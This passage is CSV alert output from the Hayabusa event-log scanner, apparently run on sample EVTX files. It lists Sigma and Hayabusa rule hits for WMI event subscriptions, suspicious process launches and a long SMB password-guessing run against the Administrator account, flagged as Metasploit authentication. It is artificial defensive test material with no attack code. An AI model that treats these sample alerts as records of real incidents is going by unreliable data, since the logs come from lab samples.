Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:46:53.627 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:47:29.168 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:48:26.011 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:48:49.187 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:49:58.603 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:51:06.219 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:51:13.833 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:51:25.086 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:51:39.538 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:52:37.050 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:53:24.700 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-03 23:53:57.790 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 06:19:15.500 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 06:19:15.500 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 06:35:14.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-04 06:35:15.664 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 06:35:15.664 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 06:37:55.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-04 06:37:55.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-04 22:32:03.952 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 22:32:03.952 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 22:32:29.279 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-04 22:32:29.279 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-15 11:13:19.927 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-15 11:13:19.927 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-15 23:50:14.730 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-15 23:50:14.730 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-16 05:09:55.941 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-16 05:09:55.941 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-18 07:53:42.819 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-18 07:53:42.819 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-18 07:56:46.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-18 07:56:47.728 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-18 07:56:47.728 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-18 08:03:40.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-18 08:03:40.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-19 23:56:52.427 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-19 23:56:52.427 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-19 23:57:15.380 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-19 23:57:15.380 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 00:13:04.000 +09:00,IE10Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-20 00:13:05.415 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 00:13:05.415 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 00:15:08.000 +09:00,IE10Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-20 00:15:08.000 +09:00,IE10Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2016-09-20 01:34:31.100 +09:00,IE10Win7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2016-09-20 01:50:06.477 +09:00,DESKTOP-M5SN04R,4625,informational,Logon Failure - Username does not exist,User: JcDfcZTc : Type: 3 : Workstation: 6hgtmVlrrFuWtO65 : IP Address: 192.168.198.149 : SubStatus: 0xc0000064 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongUsername.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.477 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.513 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gC4ymsKbxVGScMgY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.513 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.513 +09:00,-,-,medium,Password Guessing Attack,[condition] count() by IpAddress >= 5 in timeframe [result] count:3558 IpAddress:192.168.198.149 timeframe:5m,rules/hayabusa/default/alerts/Security/4625_BruteForce_PasswordGuessingDetect.yml,- +2016-09-20 01:50:06.588 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f2q1tdAUlxHGfGH6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.588 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3EPNzcwy7tOAADWx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.637 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AbwsMP10Rs4h1Wl1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.680 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.725 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EEcdqcpqsxQ4RgPx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.725 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.773 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ngdtRwzXXhAlRxGY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.773 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BbCFZw5qQgU7rQ9W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.816 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.869 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SXr7lA3MkV6xK36f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.869 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.909 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tVFs1kR0AuOutnuI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.909 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.977 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PkeEabFrDLsBVcXi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:06.977 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GH7dTevmTKZo46Tq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.008 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l2E8JmrfaCj5AjSF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.052 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.091 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N4FLUvawWPVqdLaD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.091 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.136 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KN0EeUzxSZy5l7J4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.136 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.169 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l8FjH0QHqromIYWf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.169 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.217 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fhlF37S1wNupiX5O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.217 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.262 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j19XhmSXK526I8kf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.262 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.297 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IRcppJXDNNfKuvdc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.297 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.343 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E0FoGAIAK2FV3zCJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.343 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.393 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uYWIk76XIksgN3sE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.393 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.444 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3FEop7o3SOolNvKs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.444 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cMGEM3ql9uov7zCP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.484 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.520 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EFPUA4pUPaLrkr1I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.520 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.551 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b7IeJU89jxitz407 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.551 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.590 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wqj9nXRaDpwCJZO3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.590 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.631 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bl0d61v2Ux7cNv4r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.631 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.663 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8LxTa5lyutrIB2cd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.663 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.684 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LPCy11e3YxcCloSH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.684 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mj07WKc4aQqPC0Te : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.720 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: T2M3v4TsQul5R4sj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:07.752 